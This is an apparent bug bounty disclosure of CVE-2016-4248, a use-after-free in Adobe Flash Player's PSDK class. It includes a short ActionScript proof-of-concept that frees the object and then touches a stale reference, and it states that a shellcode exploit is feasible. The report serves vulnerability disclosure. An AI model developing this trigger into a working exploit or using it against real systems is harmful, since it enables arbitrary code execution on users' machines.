Adobe Flash Player PSDK Class Use After Free Vulnerability
I
Internet Bug Bounty
Submitted None
Actions:
Reported by
hhj4ck
Vulnerability Details
Technical details and impact analysis
I. Summary
Adobe Flash Player is prone to a vulnerability which leads to Use After Free.
Since the release condition is highly controllable, it is feasible to build a fully working exploit for shellcode execution with proper AS3 object occupied the original PSDK memory.
------------------------------------------------------------------
II. Description
PSDK Class expose a member function "release()", which can be called directly to release the inner memory of PSDK.pSDK.
However, Not all of PSDK's AS3 references are cleaned, it is still possible to invoke virtual functions on a release memory block.
Source Code of crash.swf:
package
{
import com.adobe.tvsdk.mediacore.PSDK;
import flash.display.Sprite;
public class poc extends Sprite
{
public function poc()
{
var ps:PSDK = PSDK.pSDK;
var ps_:PSDK = PSDK.pSDK;
ps.release();
ps_.currentTime;
}
}
}
------------------------------------------------------------------
III. Impact
Use After Free
------------------------------------------------------------------
IV. Affected
Adobe Flash Player 22.0.0.192
------------------------------------------------------------------
V. Credit
Wen Guanxing from Pangu LAB is credited for this vulnerability.
It has been assigned as CVE-2016-4248 by Adobe:
https://helpx.adobe.com/security/products/flash-player/apsb16-25.html
Related CVEs
Associated Common Vulnerabilities and Exposures
CVE-2016-4248
UNKNOWN
Use-after-free vulnerability in Adobe Flash Player before 18.0.0.366 and 19.x through 22.x before 22.0.0.209 on Windows and OS X and before 11.2.202.632 on Linux allows attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2016-4173, CVE-2016-4174, CVE-2016-4222, CVE-2016-4226, CVE-2016-4227, CVE-2016-4228, CVE-2016-4229, CVE-2016-4230, and CVE-2016-4231.
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Bounty
$5000.00
Submitted
Weakness
Memory Corruption - Generic